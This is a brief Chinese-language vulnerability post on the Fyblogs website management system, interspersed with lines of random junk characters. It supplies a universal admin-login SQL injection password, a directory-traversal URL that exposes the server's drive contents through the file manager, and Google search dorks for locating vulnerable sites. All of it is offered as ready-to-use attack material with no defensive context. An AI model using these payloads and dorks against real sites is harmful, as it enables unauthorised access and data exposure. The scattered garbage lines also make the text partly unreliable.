Fyblogs网站管理系统漏洞

admin

后台万能密码 'or'='or'

后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
4 Y. p, @& E! \3 G) g. U) m4 Yadmin/uploadfile.asp?currentFolder=/upfiles/../
6 H2 B. R6 }% u$ Z8 X
% F# z% x1 a2 S9 D3 Y漏洞证明：
" i4 [3 R! x. L# {
* }! s! |8 E5 T  A7 j7 @5 f) r$ V谷歌：inurl:type.asp?id=1 新闻中心
- P. P' @8 D# s5 z! P+ c或者 ：inurl:download_ok.asp?
: L4 A/ O$ b$ p0 m/ M: Y) C
5 {7 I1 j5 |& c7 [